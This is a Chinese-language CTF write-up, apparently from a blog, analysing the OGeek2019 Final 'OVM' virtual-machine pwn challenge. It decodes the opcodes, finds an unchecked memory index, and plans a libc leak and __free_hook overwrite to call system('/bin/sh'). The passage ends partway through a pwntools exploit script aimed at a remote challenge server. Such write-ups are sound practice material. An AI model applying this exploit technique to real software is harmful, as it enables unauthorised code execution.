VM pwn貌似是最近火起来的一类PWN题。最近打的好几场比赛都出现了VM pwn的题目,正好在BUU上面遇到一道2019年的OGeek中出现的VM pwn题,感觉应该会比较简单,另外听说高校战役里的EasyVM也是偏简单的VM pwn题。本文就主要对这两道题目进行分析。
[OGeek2019 Final]OVM
程序分析
作为VM pwn的第一步就是需要搞清楚指令的格式,操作码和操作数
本题使用的是定长指令,一共32bits,每一个占8bits,但除了操作码能利用完8bits之外,寄存器只占4bits,所以只有16个寄存器,格式如下
操作码 | 目的寄存器编号 | 操作数2寄存器编号 | 操作数1寄存器编号
每个操作码的功能如下:
dst = (a1&0xf0000)>>16
dst = reg[dst]
op2 = (a1&0xf00)>>8
op2 = reg[ope2]
op1 = a1&0xf
op1 = reg[op1]
0x10:
dst = a1&0xff
0x20:
dst = ((a1&0xff)==0)
0x30:
dst = memory[op1]
0x40:
memory[op1] = dst
0x50:
tmp = reg[13]
reg[13]++
stack[tmp] = dst
0x60:
reg[13]--
dst = stack[reg[13]]
0x70:
dst = op1 + op2
0x80:
dst = op2 - op1
0x90:
dst = op1 & op2
0xA0:
dst = op1 | op2
0xB0:
dst = op1 ^ op2
0xC0:
dst = op2 << op1
0xD0:
dst = op2 >> op1
0xE0:
running=0
if !reg[13]:
exit
show all reg
对指令的逆向是一个很费时间的过程,但这是必不可少的,一定要耐心分析每一个操作码的功能
接下来就是分析程序中的漏洞了,可以看到memory并没有对下标大小进行检测,这就有一个数组越界漏洞
而memory位于0x202060偏移处,在0x202040处正好就有一个指向堆的指针,并且程序结束时允许我们输入0x8c个bytes,如果我们能把这个指针改了,不就能进行一次任意内存写了吗?
而位于0x201FF8偏移处有_IO_2_1_stderr_
的地址,该地址+0x10A8即为_free_hook
利用思路
有了上面的分析,我们的利用思路就很清晰了
- 利用数组越界获取stderr的地址到reg[2]和reg[3]
- 利用0x10(赋值)和0xC0(左移)操作构造出0x10A0
- 利用0x70(add)功能让reg中的stderr地址增加0x10A0
- 再次利用数组越界把增加之后的地址写到$rebase(0x202040),即comment[0]的位置
- 退出运行,先利用泄露的寄存器的值计算libc,然后输入’/bin/sh’+p64(system)即可
Exp
from pwn import *
r = remote("node3.buuoj.cn", 29381)
#r = process("./OGeek2019_Final_OVM")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xCFE)
x/10gx $rebase(0x242060)
c
''')
elf = ELF("./OGeek2019_Final_OVM")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
success("malloc:"+hex(libc.sym['malloc']))
success("system:"+hex(libc.sym['system']))
success("free_hook:"+hex(libc.sym['__free_hook']))
def code_generate(code, dst, op1, op2):
res = code<<24
res += dst<<16
res += op1<<8
res += op2
return res
r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
r.sendline(str(code_generate(0x10, 0